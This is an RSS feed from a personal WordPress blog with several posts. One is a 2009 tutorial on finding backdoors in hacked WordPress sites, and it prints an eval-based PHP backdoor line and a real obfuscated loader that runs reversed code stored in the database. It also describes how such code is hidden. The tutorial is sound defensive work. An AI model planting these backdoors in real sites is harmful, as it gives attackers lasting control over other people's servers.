<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Nothing to See Here &#187; blog</title>
	<atom:link href="http://ottodestruct.com/blog/tag/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://ottodestruct.com</link>
	<description>Random meanderings you&#039;re probably not interested in</description>
	<lastBuildDate>Wed, 08 Feb 2012 14:47:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<atom:link rel='hub' href='http://ottodestruct.com/?pushpress=hub'/>
<cloud domain='ottodestruct.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Ottopress &#8211; A New Blog</title>
		<link>http://ottodestruct.com/blog/2010/ottopress-a-new-blog/</link>
		<comments>http://ottodestruct.com/blog/2010/ottopress-a-new-blog/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:17:24 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[change]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[moving]]></category>
		<category><![CDATA[ottopress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=706</guid>
		<description><![CDATA[For those of you who read this site for my WordPress knowledge, code, rants, or what have you, I&#8217;m writing this to point you in a new direction. I&#8217;ve started a new site just for that sort of thing: Otto &#8230; <a href="http://ottodestruct.com/blog/2010/ottopress-a-new-blog/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2010/ottopress-a-new-blog/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><div id="attachment_708" class="wp-caption alignright" style="width: 238px"><a href="http://ottodestruct.com/blog/2010/ottopress-a-new-blog/ducreuxwp1/" rel="attachment wp-att-708"><img src="http://ottodestruct.com/files/2010/03/Ducreuxwp1-228x300.jpg" alt="Joseph Ducreux, original pimp." title="Joseph Ducreux" width="228" height="300" class="size-medium wp-image-708" /></a><p class="wp-caption-text">Joseph Ducreux laughs at your nonsense.</p></div>
<p>For those of you who read this site for my WordPress knowledge, code, rants, or what have you, I&#8217;m writing this to point you in a new direction. I&#8217;ve started a new site just for that sort of thing: <a href="http://ottopress.com">Otto on WordPress</a>. Despite the name, I plan on putting other things there too, including code and other geekery.</p>
<p>Partially I&#8217;m doing it because I feel that I want to post more personal information type stuff here. More stuff about Memphis and what I&#8217;m up to and photo libraries and such, and my friends aren&#8217;t much into that sort of thing. Partially I&#8217;m doing it because I&#8217;d like to build more of a personal brand.</p>
<p>But, mostly I&#8217;m doing it because the <a href="http://ottopress.com">ottopress.com</a> domain name was available and I liked it. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I won&#8217;t be eliminating all geekery from this site, but it will be significantly toned down. Maybe. Dunno yet.</p>
<p>So, I&#8217;d suggest going over there if you like my technical rantings and ravings, since those won&#8217;t be here anymore. Also, this site may not be busy for a while. It&#8217;ll take a while to get into the swing of things, and I may start pulling more smaller microblog type posts in here. So if you want to switch your subscription around, now would be the time, while I make the changes.</p>
<p>For those people subscribing only to my WordPress tagged posts feed (I know there&#8217;s a few), I&#8217;ve redirected that feed now. You don&#8217;t have to switch, though you may want to. And if you suddenly got a bunch of repeat posts, that&#8217;s why. I moved a few of them over there when setting up.</p>
<p>So there you go.</p>
<p>BTW, if you&#8217;re not subscribing to my feeds, but prefer to use Facebook or Twitter, then I&#8217;ve separated some of that all out now too.</p>
<p>You can follow Otto on WordPress on Facebook here: <a href="http://www.facebook.com/apps/application.php?id=334947428931">http://www.facebook.com/apps/application.php?id=334947428931</a></p>
<p>You can follow this blog, Nothing to See Here, on Facebook here: <a href="http://www.facebook.com/apps/application.php?id=116002660893">http://www.facebook.com/apps/application.php?id=116002660893</a></p>
<p>And you can follow both of them on Twitter here: <a href="http://twitter.com/ottodestruct">http://twitter.com/ottodestruct</a> (Still working on this one, it&#8217;s not 100% reliable yet).</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2Fx&count=vertical&related=otto42&text=Ottopress - A New Blog' class='twitter-share-button' data-text='Ottopress - A New Blog' data-url='http://otto42.com/x' data-counturl='http://ottodestruct.com/blog/2010/ottopress-a-new-blog/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2010/ottopress-a-new-blog/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2010/ottopress-a-new-blog/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/ottopress-a-new-blog/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/03/Ducreuxwp1-150x150.jpg" />
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/03/Ducreuxwp1.jpg" medium="image">
			<media:title type="html">Joseph Ducreux</media:title>
			<media:description type="html">Joseph Ducreux laughs at your nonsense.</media:description>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/03/Ducreuxwp1-150x150.jpg" />
		</media:content>
	</item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</link>
		<comments>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 22:14:21 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spammer]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=555</guid>
		<description><![CDATA[Edit: This post has moved to here: http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments there. Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him &#8230; <a href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Edit: This post has moved to here: <a href="http://ottopress.com/2009/hacked-wordpress-backdoors/">http://ottopress.com/2009/hacked-wordpress-backdoors/</a>. Take your comments there.</p>
<p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.</p>
<p>In so doing, it occurred to me that most people don&#8217;t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I&#8217;d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-555"></span></p>
<p>What&#8217;s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let&#8217;s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It&#8217;s also time-consuming. But, if you don&#8217;t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let&#8217;s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it&#8217;s true that simple &#8220;backdoors&#8221; often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre class="brush: php; notranslate">eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn&#8217;t put this code just anywhere&#8230; It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There&#8217;s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don&#8217;t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It&#8217;s explicitly designed to be writable. People don&#8217;t generally see what&#8217;s in the folders, since they&#8217;re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p>Step 1: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won&#8217;t think of. Remember, it doesn&#8217;t have to end with PHP just because it&#8217;s got PHP code in it.</p>
<p>Step 2: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use &#8220;eval&#8221;. But, it happens often enough to be generally considered not harmful in and of itself. So looking for &#8220;eval&#8221; is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden &#8220;eval&#8221; command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: <a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There&#8217;s almost never a good reason to use them. Note the &#8220;almost&#8221; there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it&#8217;s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign&#8230;</p>
<h3>Database obfuscation</h3>
<p>Here&#8217;s a bit of code I&#8217;ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre class="brush: php; notranslate">global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
&quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'&quot;);
preg_match(&quot;!events or a cale\&quot;\;s\:7\:\'(.*?)\'!is&quot;,$trp_rss,$trp_m);
$trp_f=create_function(&quot;&quot;,strrev($trp_m[1]));
$trp_f();
</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use &#8220;eval&#8221;.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it&#8217;s pulling out is reversed! So much for looking for &#8220;base64_decode&#8221;.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it&#8217;s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you&#8217;re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I&#8217;ve never seen a hacked WordPress installation that was missing it. Sometimes there&#8217;s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing&#8230; before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn&#8217;t actually hacked already, before you put the latest code on there. If you don&#8217;t fully clean up after a hack, then you *stay* hacked. It&#8217;s not a new hack, it&#8217;s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don&#8217;t know that for sure is really not all that helpful. You&#8217;re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they&#8217;re found. But they can&#8217;t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F1p&count=vertical&related=otto42&text=How to find a backdoor in a hacked WordPress' class='twitter-share-button' data-text='How to find a backdoor in a hacked WordPress' data-url='http://otto42.com/1p' data-counturl='http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
	
	</item>
		<item>
		<title>Fun with Twitter</title>
		<link>http://ottodestruct.com/blog/2008/fun-with-twitter/</link>
		<comments>http://ottodestruct.com/blog/2008/fun-with-twitter/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 22:10:09 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[twitter-tools]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=343</guid>
		<description><![CDATA[Just rigged up the blog to show whatever I&#8217;m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. &#8230; <a href="http://ottodestruct.com/blog/2008/fun-with-twitter/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2008/fun-with-twitter/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Just rigged up the blog to show whatever I&#8217;m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Thanks to <a href="http://alexking.org/projects/wordpress">Twitter Tools</a> for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough.</p>
<p>Feel free to respond more directly to anything I have to say <a href="http://twitter.com/Otto42/">on Twitter</a>.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F28&count=vertical&related=otto42&text=Fun with Twitter' class='twitter-share-button' data-text='Fun with Twitter' data-url='http://otto42.com/28' data-counturl='http://ottodestruct.com/blog/2008/fun-with-twitter/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2008/fun-with-twitter/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2008/fun-with-twitter/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/fun-with-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>The TSA starts a blog</title>
		<link>http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/</link>
		<comments>http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 17:28:39 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[air travel]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[idiocy]]></category>
		<category><![CDATA[Kip]]></category>
		<category><![CDATA[liquid explosives]]></category>
		<category><![CDATA[liquids]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/02/08/the-tsa-starts-a-blog/</guid>
		<description><![CDATA[I was surfing around and ran across a blog written by people at the TSA. Now, I think that the existence of open communication is a good idea. My problem is that the people actually doing the writing seem to &#8230; <a href="http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>I was surfing around and ran across a <a href="http://www.tsa.gov/blog" title="TSA blog">blog</a> written by people at the <a href="http://www.tsa.gov/" title="TSA website">TSA</a>.</p>
<p>Now, I think that the existence of open communication is a good idea. My problem is that the people actually doing the writing seem to either be really, really good at evasion, or they are complete and total idiots.</p>
<p>Take <a href="http://www.tsa.gov/blog/2008/02/more-on-liquid-rules-why-we-do-things.html" title="TSA liquid rules">this post</a> where somebody named &#8220;Kip&#8221; tries to explain the ban on liquids in aircraft. He goes on about the <a href="http://www.tsa.gov/311/" title="3-1-1 Rule">&#8220;3-1-1&#8243; rule</a>, which I had to look up since I no longer fly at all (primarily because of the amazingly obvious and self-evident stupidity of the TSA and its employees), but the gist of the 3-1-1 nonsense is that everybody is allowed 3 containers of 3 ounces each, in 1 clear plastic baggy, 1 per person. He goes on about this quite a bit, but he also completely fails to understand the fundamental problem, which is this: You&#8217;re trying to find threats, you&#8217;re not trying to set limitations.</p>
<p>If I bring shampoo onto a plane, and it really is shampoo, then how much of it I bring is really irrelevant. The idea is to find those people with actual explosives or other threatening devices, no? So making somebody put 3 oz. of fluid into a clear container is really rather pointless when you don&#8217;t actually verify WTF the fluid is in the first place. Confiscating some liquid that is not actually an explosive <em>does not increase security in the slightest possible way</em>. Removing things that are actually non-threats <em>is not helpful</em>. He misses that fundamental point throughout his &#8220;answer&#8221; to the question.</p>
<p>He goes on to say that the idea is to have a 10 oz. limit because real liquid bombs need about 20 oz. to do any damage. He even attempts (and fails) to address the obvious question here: What about two guys carrying the same stuff on and then mixing them on the plane? His answer is that mixing liquid explosives is difficult and tricky to do properly. Which, again, misses the fundamental point. If it&#8217;s tricky to do properly, then it would be tricky even if it was all carried on by one person. The difference between 1 guy carrying 20 oz of liquid and two guys carrying 10 oz. each is actually <em>non-existent</em>.  And if they can premix the stuff, then they can pre-mix it, separate it into 3 ounce bottles, and bring one big empty bottle in their carry on. &#8220;Mixing&#8221; liquids on a plane might be tricky, but simply pouring already mixed liquids from one container to another is not.</p>
<p>He also ignores the fact that the plot which started this whole mess <a href="http://www.theregister.co.uk/2006/08/17/flying_toilet_terror_labs/print.html">was not actually feasible to begin with</a>. Notice his wording in the first question, he says there was a &#8220;serious plot&#8221;, not that they could have actually, you know, done anything.</p>
<p>It&#8217;s like <a href="http://www.schneier.com/blog/">Bruce</a> says, the whole damn thing is nothing but <a href="http://en.wikipedia.org/wiki/Security_theater">security theater</a>. The TSA&#8217;s blog is a good idea, if it was, you know, real and not staffed by the same shills who are attempting to force us to accept something which is fundamentally stupid. We&#8217;re not idiots. We know that the policies are stupid, because it&#8217;s <em>really really obvious</em> that they are. Trying to tell us that these rules are, in fact, not stupid simply isn&#8217;t going to work.  I mean, I don&#8217;t expect them to admit their real agendas or anything, but all he attempts to do is to say that their policies make sense (they don&#8217;t), that they actually do protect anybody from anything (they don&#8217;t), and that a whole lot of other countries implemented them too (irrelevant to the actual question in the first place).</p>
<p>You can&#8217;t sell me nonsense by saying that you&#8217;re fresh out of sense.</p>
<p>Kip also tries to hide behind the &#8220;classified&#8221; label at one point, which is such complete bullshit. If actual terrorists know how to do this, then telling me how it could be done doesn&#8217;t make any difference. If terrorists don&#8217;t know how to do this, then what the fuck are you protecting us from?</p>
<p>Anyway, it&#8217;s worth a read to see how ignorant the TSA really is. Reading that blog only increases my determination to not fly at all until the paranoid idiots in charge get replaced by somebody with more sense. From the look of things, I may be waiting a while.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F3f&count=vertical&related=otto42&text=The TSA starts a blog' class='twitter-share-button' data-text='The TSA starts a blog' data-url='http://otto42.com/3f' data-counturl='http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/the-tsa-starts-a-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>Twitter</title>
		<link>http://ottodestruct.com/blog/2007/twitter/</link>
		<comments>http://ottodestruct.com/blog/2007/twitter/#comments</comments>
		<pubDate>Sun, 24 Jun 2007 02:56:25 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[twitter-tools]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/06/23/twitter/</guid>
		<description><![CDATA[I signed up for twitter today, and installed a plugin for the blog that hooks into it. It&#8217;s kinda neat. The basic idea is that you can send &#8220;what you are doing right now&#8221; to it at any given moment, &#8230; <a href="http://ottodestruct.com/blog/2007/twitter/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2007/twitter/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>I signed up for <a href="http://twitter.com">twitter</a> today, and installed a plugin for the blog that hooks into it. It&#8217;s kinda neat. The basic idea is that you can send &#8220;what you are doing right now&#8221; to it at any given moment, and the site posts it. Not complex, basically like a blog for one-liners. The WordPress plugin I installed lets you show the latest twitter messages you&#8217;ve sent to the service on the sidebar, or in a post, or what have you. Very nifty.</p>
<p>So if you look on the bottom right of this page, you&#8217;ll see the latest info on what I&#8217;m currently doing. The cool thing about it is that you can post what you&#8217;re doing to the site via email or IM or even text message. Quite entertaining, albeit somewhat useless, information. Still, fun for a while, and maybe I&#8217;ll figure out something useful to do with in the long run.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F47&count=vertical&related=otto42&text=Twitter' class='twitter-share-button' data-text='Twitter' data-url='http://otto42.com/47' data-counturl='http://ottodestruct.com/blog/2007/twitter/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2007/twitter/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2007/twitter/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using xcache
Object Caching 1208/1273 objects using xcache

Served from: ottodestruct.com @ 2012-02-11 04:39:13 -->
